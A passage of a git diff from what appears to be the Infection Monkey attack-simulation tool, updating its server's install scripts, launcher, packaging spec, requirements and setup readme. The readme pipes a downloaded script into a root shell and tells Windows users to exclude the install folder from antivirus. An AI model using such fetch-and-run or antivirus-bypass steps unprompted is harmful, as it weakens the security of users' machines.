/etc/issue) +export os_version_monkey MONGODB_DIR=$1 # If using deb, this should be: /var/monkey/monkey_island/bin/mongodb -if [[ ${os_version_monkey} == "Ubuntu 16.04"* ]] ; -then - echo Detected Ubuntu 16.04 - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-3.6.12.tgz" -elif [[ ${os_version_monkey} == "Ubuntu 18.04"* ]] ; -then - echo Detected Ubuntu 18.04 - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.0.8.tgz" -elif [[ ${os_version_monkey} == "Debian GNU/Linux 8"* ]] ; -then - echo Detected Debian 8 - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian81-3.6.12.tgz" -elif [[ ${os_version_monkey} == "Debian GNU/Linux 9"* ]] ; -then - echo Detected Debian 9 - export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian92-3.6.12.tgz" +if [[ ${os_version_monkey} == "Ubuntu 16.04"* ]]; then + echo Detected Ubuntu 16.04 + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-4.2.3.tgz" +elif [[ ${os_version_monkey} == "Ubuntu 18.04"* ]]; then + echo Detected Ubuntu 18.04 + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.2.3.tgz" +elif [[ ${os_version_monkey} == "Ubuntu 19.10"* ]]; then + echo Detected Ubuntu 19.10 + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1804-4.2.3.tgz" +elif [[ ${os_version_monkey} == "Debian GNU/Linux 8"* ]]; then + echo Detected Debian 8 + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian81-4.0.16.tgz" +elif [[ ${os_version_monkey} == "Debian GNU/Linux 9"* ]]; then + echo Detected Debian 9 + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian92-4.2.3.tgz" +elif [[ ${os_version_monkey} == "Debian GNU/Linux 10"* ]]; then + echo Detected Debian 10 + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian10-4.2.3.tgz" +elif [[ ${os_version_monkey} == "Kali GNU/Linux"* ]]; then + echo Detected Kali Linux + export tgz_url="https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-debian10-4.2.3.tgz" else - echo Unsupported OS - exit -1 + echo Unsupported OS + exit 1 fi TEMP_MONGO=$(mktemp -d) -pushd ${TEMP_MONGO} -wget ${tgz_url} -O mongodb.tgz +pushd "${TEMP_MONGO}" || { + echo "Pushd failed" + exit 1 +} + +if exists wget; then + wget -q ${tgz_url} -O mongodb.tgz +else + if exists curl; then + curl --output mongodb.tgz ${tgz_url} + else + echo 'Your system has neither curl nor wget, exiting' + exit 1 + fi +fi + tar -xf mongodb.tgz -popd +popd || { + echo "popd failed" + exit 1 +} -mkdir -p ${MONGODB_DIR}/bin -cp ${TEMP_MONGO}/mongodb-*/bin/mongod ${MONGODB_DIR}/bin/mongod -cp ${TEMP_MONGO}/mongodb-*/LICENSE-Community.txt ${MONGODB_DIR}/ -chmod a+x ${MONGODB_DIR}/bin/mongod -rm -r ${TEMP_MONGO} +mkdir -p "${MONGODB_DIR}"/bin +mkdir -p "${MONGODB_DIR}"/db +cp "${TEMP_MONGO}"/mongodb-*/bin/mongod "${MONGODB_DIR}"/bin/mongod +cp "${TEMP_MONGO}"/mongodb-*/LICENSE-Community.txt "${MONGODB_DIR}"/ +chmod a+x "${MONGODB_DIR}"/bin/mongod +rm -r "${TEMP_MONGO}" -exit 0 \ No newline at end of file +exit 0 diff --git a/monkey/monkey_island/linux/monkey.sh b/monkey/monkey_island/linux/monkey.sh index d4ebfedbe..ab03e4798 100644 --- a/monkey/monkey_island/linux/monkey.sh +++ b/monkey/monkey_island/linux/monkey.sh @@ -1,7 +1,7 @@ #!/bin/bash -MACHINE_TYPE=`uname -m` -if [ ${MACHINE_TYPE} == 'x86_64' ]; then +MACHINE_TYPE=$(uname -m) +if [ "${MACHINE_TYPE}" == 'x86_64' ]; then # 64-bit stuff here ARCH=64 else @@ -11,4 +11,4 @@ fi MONKEY_FILE=monkey-linux-$ARCH cp -f /var/monkey/monkey_island/cc/binaries/$MONKEY_FILE /tmp -/tmp/$MONKEY_FILE m0nk3y $@ +/tmp/$MONKEY_FILE m0nk3y "$@" diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh index 978e02fe5..2a5c45bbe 100644 --- a/monkey/monkey_island/linux/run.sh +++ b/monkey/monkey_island/linux/run.sh @@ -1,4 +1,16 @@ #!/bin/bash -cd /var/monkey -/var/monkey/monkey_island/bin/python/bin/python monkey_island.py \ No newline at end of file +# Detecting command that calls python 3.7 +python_cmd="" +if [[ $(python --version 2>&1) == *"Python 3.7"* ]]; then + python_cmd="python" +fi +if [[ $(python37 --version 2>&1) == *"Python 3.7"* ]]; then + python_cmd="python37" +fi +if [[ $(python3.7 --version 2>&1) == *"Python 3.7"* ]]; then + python_cmd="python3.7" +fi + +./monkey_island/bin/mongodb/bin/mongod --dbpath ./monkey_island/bin/mongodb/db & +${python_cmd} ./monkey_island.py diff --git a/monkey/monkey_island/monkey_island.spec b/monkey/monkey_island/monkey_island.spec index 342df5ab3..59f95e34f 100644 --- a/monkey/monkey_island/monkey_island.spec +++ b/monkey/monkey_island/monkey_island.spec @@ -1,7 +1,7 @@ # -*- mode: python -*- import os import platform - +import sys __author__ = 'itay.mizeretz' @@ -9,13 +9,20 @@ block_cipher = None def main(): + # These data files and folders will be included in the bundle. + # The format of the tuples is (src, dest_dir). See https://pythonhosted.org/PyInstaller/spec-files.html#adding-data-files + added_datas = [ + ("../common/BUILD", "/common"), + ("../monkey_island/cc/services/attack/attack_data", "/monkey_island/cc/services/attack/attack_data") + ] + a = Analysis(['cc/main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), - hookspath=None, + hookspath=[os.path.join(".", "pyinstaller_hooks")], runtime_hooks=None, binaries=None, - datas=None, + datas=added_datas, excludes=None, win_no_prefer_redirects=None, win_private_assemblies=None, @@ -34,7 +41,7 @@ def main(): name=get_monkey_filename(), debug=False, strip=get_exe_strip(), - upx=True, + upx=False, console=True, icon=get_exe_icon()) @@ -44,7 +51,7 @@ def is_windows(): def is_32_bit(): - return platform.architecture()[0] == "32bit" + return sys.maxsize <= 2**32 def process_datas(orig_datas): @@ -71,7 +78,7 @@ def get_linux_only_binaries(): def get_hidden_imports(): - return ['_cffi_backend', 'queue'] if is_windows() else ['_cffi_backend'] + return ['_cffi_backend', 'queue', 'pkg_resources.py2_warn'] if is_windows() else ['_cffi_backend'] def get_msvcr(): diff --git a/monkey/monkey_island/pyinstaller_hooks/__init__.py b/monkey/monkey_island/pyinstaller_hooks/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py b/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py new file mode 100644 index 000000000..22a9c9774 --- /dev/null +++ b/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py @@ -0,0 +1,7 @@ +# Workaround for packaging Monkey Island using PyInstaller. See https://github.com/oasis-open/cti-python-stix2/issues/218 + +import os +from PyInstaller.utils.hooks import get_module_file_attribute + +stix2_dir = os.path.dirname(get_module_file_attribute('stix2')) +datas = [(stix2_dir, 'stix2')] diff --git a/monkey/monkey_island/readme.md b/monkey/monkey_island/readme.md new file mode 100644 index 000000000..c16679b61 --- /dev/null +++ b/monkey/monkey_island/readme.md @@ -0,0 +1,106 @@ +# Monkey island dev. env. setup guide + +>To easily setup development environment for Monkey Island and the Monkey look into [deployment scripts](../../deployment_scripts) folder. +>If you want to setup dev. env. for Island manually, refer to the instructions below. + +## How to set up the Monkey Island server + +### On Windows + +1. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation. +2. Create folder "bin" under monkey\monkey_island +3. Place portable version of Python 3.7.4 + - Download and install from: <https://www.python.org/ftp/python/3.7.4/> +4. Install Island's requirements + - `python -m pip install -r monkey\monkey_island\requirements.txt` +4. Setup mongodb (Use one of the following two options): + - Place portable version of mongodb + 1. Download from: <https://fastdl.mongodb.org/win32/mongodb-win32-x86_64-2012plus-4.2.1.zip> + 2. Extract contents of bin folder to \monkey\monkey_island\bin\mongodb. + 3. Create monkey_island\db folder. + + OR + - Use already running instance of mongodb + 1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server + +5. Place portable version of OpenSSL + - Download from: <https://indy.fulgan.com/SSL/Archive/openssl-1.0.2p-i386-win32.zip> + - Extract contents to monkey_island\bin\openssl +6. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017 + - Download and install from: <https://go.microsoft.com/fwlink/?LinkId=746572> +7. Generate SSL Certificate + - run `./windows/create_certificate.bat` when your current working directory is monkey_island +8. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source) + monkey-linux-64 - monkey binary for linux 64bit + monkey-linux-32 - monkey binary for linux 32bit + monkey-windows-32.exe - monkey binary for windows 32bit + monkey-windows-64.exe - monkey binary for windows 64bit +9. Install npm + - Download and install from: <https://www.npmjs.com/get-npm> +10. Build Monkey Island frontend + - cd to 'monkey_island\cc\ui' + - run 'npm update' + - run 'npm run dist' + +#### How to run + +1. When your current working directory is monkey_island, run monkey_island\windows\run_server_py.bat + +### On Linux + +1. Get python 3.7 and pip if your linux distribution doesn't have it built in (following steps are for Ubuntu 16): + - `sudo add-apt-repository ppa:deadsnakes/ppa` + - `sudo apt-get update` + - `sudo apt install python3.7 python3-pip python3.7-dev` + - `python3.7 -m pip install pip` +2. Install required packages: + - `sudo apt-get install libffi-dev upx libssl-dev libc++1 openssl` +3. Create the following directories in monkey island folder (execute from ./monkey): + - `mkdir -p ./monkey_island/bin/mongodb` + - `mkdir -p ./monkey_island/db` + - `mkdir -p ./monkey_island/cc/binaries` + +4. Install the packages from monkey_island/requirements.txt: + - `sudo python3.7 -m pip install -r ./monkey_island/requirements.txt` + +5. Put monkey binaries in /monkey_island/cc/binaries (binaries can be found in releases on github). + + monkey-linux-64 - monkey binary for linux 64bit + + monkey-linux-32 - monkey binary for linux 32bit + + monkey-windows-32.exe - monkey binary for windows 32bit + + monkey-windows-64.exe - monkey binary for windows 64bit + + Also, if you're going to run monkeys on local machine execute: + - `chmod 755 ./monkey_island/cc/binaries/monkey-linux-64` + - `chmod 755 ./monkey_island/cc/binaries/monkey-linux-32` + +6. Setup MongoDB (Use one of the two following options): + - Download MongoDB and extract it to monkey/monkey_island/bin/mongodb: + 1. Run `./monkey_island/linux/install_mongo.sh ./monkey_island/bin/mongodb`. This will download and extract the relevant mongoDB for your OS. + + OR + - Use already running instance of mongodb + 1. Run `set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"`. Replace '<SERVER ADDR>' with address of mongo server + +7. Generate SSL Certificate: + - `cd ./monkey_island` + - `chmod 755 ./linux/create_certificate.sh` + - `./linux/create_certificate.sh` + +8. Install npm and node by running: + - `sudo apt-get install curl` + - `curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -` + - `sudo apt-get install -y nodejs` + +9. Build Monkey Island frontend + - cd to 'monkey_island/cc/ui' + - `npm install sass-loader node-sass webpack --save-dev` + - `npm update` + - `npm run dist` + +#### How to run + +1. When your current working directory is monkey, run `chmod 755 ./monkey_island/linux/run.sh` followed by `./monkey_island/linux/run.sh` (located under /linux) diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt deleted file mode 100644 index 956892e23..000000000 --- a/monkey/monkey_island/readme.txt +++ /dev/null @@ -1,91 +0,0 @@ -To get development versions of Monkey Island and Monkey look into deployment scripts folder. -If you only want to run the software from source you may refer to the instructions below. - -How to set up the Monkey Island server: - ----------------- On Windows ----------------: -0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation. -1. Create folder "bin" under monkey_island -2. Place portable version of Python 2.7.15 - 2.1. Download and install from: https://www.python.org/downloads/release/python-2715/ - 2.2. Install virtualenv using "python -m pip install virtualenv" - 2.3. Create a virtualenv using "python -m virtualenv --always-copy <PATH TO BIN>\Python27" Where <PATH TO BIN> is the path to the bin folder created on step 1. - 2.4. Run "python -m virtualenv --relocatable <PATH TO BIN>\Python27" - 2.5. Install the required python libraries using "<PATH TO BIN>\Python27\Scripts\python -m pip install -r monkey_island\requirements.txt" - 2.6. Copy DLLs from installation path (Usually C:\Python27\DLLs) to <PATH TO BIN>\Python27\DLLs - 2.7. (Optional) You may uninstall Python27 if you like. -3. Setup mongodb (Use one of the following two options): - 3.a Place portable version of mongodb - 3.a.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip - 3.a.2. Extract contents from bin folder to monkey_island\bin\mongodb. - 3.a.3. Create monkey_island\db folder. - OR - 3.b. Use already running instance of mongodb - 3.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server - -4. Place portable version of OpenSSL - 4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip - 4.2. Extract content from bin folder to monkey_island\bin\openssl -5. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017 - 5.1. Download and install from: https://go.microsoft.com/fwlink/?LinkId=746572 -6. Generate SSL Certificate - 6.1. run create_certificate.bat when your current working directory is monkey_island -7. Create the monkey_island\cc\binaries folder and put Infection Monkey binaries inside - monkey-linux-64 - monkey binary for linux 64bit - monkey-linux-32 - monkey binary for linux 32bit - monkey-windows-32.exe - monkey binary for windows 32bit - monkey-windows-64.exe - monkey binary for windows 64bit -8. Install npm - 8.1. Download and install from: https://www.npmjs.com/get-npm -9. Build Monkey Island frontend - 9.1. cd to 'monkey_island\cc\ui' - 9.2. run 'npm update' - 9.3. run 'npm run dist' - -How to run: -1. When your current working directory is monkey_island, run monkey_island\windows\run_server.bat - ----------------- On Linux ----------------: -1. Create the following directories: - sudo mkdir /var/monkey_island - sudo chmod 777 /var/monkey_island - mkdir -p /var/monkey_island/bin/mongodb - mkdir -p /var/monkey_island/db - mkdir -p /var/monkey_island/cc/binaries - -2. Install the packages from monkey_island/requirements.txt: - sudo python -m pip install -r /var/monkey_island/requirements.txt - If pip is not installed, install the python-pip package. Make sure the server is running Python 2.7 and not Python 3+. - -3. put monkey binaries in /var/monkey_island/cc/binaries - monkey-linux-64 - monkey binary for linux 64bit - monkey-linux-32 - monkey binary for linux 32bit - monkey-windows-32.exe - monkey binary for windows 32bit - monkey-windows-64.exe - monkey binary for windows 64bi - -4. Setup MongoDB (Use one of the two following options): - 4.a. Download MongoDB and extract it to /var/monkey_island/bin/mongodb - 4.a.1. Run '/var/monkey_island/linux/install_mongo.sh /var/monkey_island/bin/mongodb' - This will download and extract the relevant mongoDB for your OS. - OR - 4.b. Use already running instance of mongodb - 4.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server - -5. install OpenSSL - sudo apt-get install openssl - -6. Generate SSL Certificate, Run create_certificate.sh (located under /linux) - -7. Copy monkey island server to /var/monkey_island: - cp -r [monkey_island_source]/cc /var/monkey_island/ - -8. Install npm - 8.1. Download and install from: https://www.npmjs.com/get-npm - -9. Build Monkey Island frontend - 9.1. cd to 'monkey_island/cc/ui' - 9.2. run 'npm update' - 9.3. run 'npm run dist' - -How to run: -1. run run.sh (located under /linux) diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index ee66bb797..b5baed7f4 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -1,19 +1,14 @@ -bson +pytest python-dateutil -tornado==5.1.1 +tornado werkzeug -jinja2 -markupsafe -itsdangerous -click flask Flask-Pymongo Flask-Restful Flask-JWT -jsonschema==2.6.0 +jsonschema netifaces ipaddress -enum34 pycryptodome boto3 botocore @@ -27,3 +22,4 @@ mongomock requests dpath ring +stix2 diff --git a/monkey/monkey_island/windows/create_certificate.bat b/monkey/monkey_island/windows/create_certificate.bat index 0af3e9960..645c6fa25 100644 --- a/monkey/monkey_island/windows/create_certificate.bat +++ b/monkey/monkey_island/windows/create_certificate.bat @@ -14,5 +14,5 @@ copy "%mydir%windows\openssl.cfg" "%mydir%bin\openssl\openssl.cfg" @echo on "%mydir%bin\openssl\openssl.exe" genrsa -out "%mydir%cc\server.key" 1024 -"%mydir%bin\openssl\openssl.exe" req -new -config "%mydir%bin\openssl\openssl.cfg" -key "%mydir%cc\server.key" -out "%mydir%cc\server.csr" -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" -"%mydir%bin\openssl\openssl.exe" x509 -req -days 366 -in "%mydir%cc\server.csr" -signkey "%mydir%cc\server.key" -out "%mydir%cc\server.crt" \ No newline at end of file +"%mydir%bin\openssl\openssl.exe" req -new -config "%mydir%bin\openssl\openssl.cfg" -key "%mydir%cc\server.key" -out "%mydir%cc\server.csr" -subj "/OU=Monkey Department/CN=monkey.com" +"%mydir%bin\openssl\openssl.exe" x509 -req -days 366 -in "%mydir%cc\server.csr" -signkey "%mydir%cc\server.key" -out "%mydir%cc\server.crt" diff --git a/monkey/monkey_island/windows/run_cc.bat b/monkey/monkey_island/windows/run_cc.bat index c1a2fd88e..c87f04cec 100644 --- a/monkey/monkey_island/windows/run_cc.bat +++ b/monkey/monkey_island/windows/run_cc.bat @@ -1,5 +1,5 @@ REM - Runs Monkey Island Server using python - @title C^&C Server @pushd .. -@monkey_island\bin\Python27\Scripts\python monkey_island.py -@popd \ No newline at end of file +@python monkey_island.py +@popd diff --git a/monkey/pytest.ini b/monkey/pytest.ini new file mode 100644 index 000000000..3596bf5f6 --- /dev/null +++ b/monkey/pytest.ini @@ -0,0 +1,7 @@ +[pytest] +log_cli = 1 +log_cli_level = DEBUG +log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s +log_cli_date_format=%H:%M:%S +addopts = -v --capture=sys +norecursedirs = node_modules dist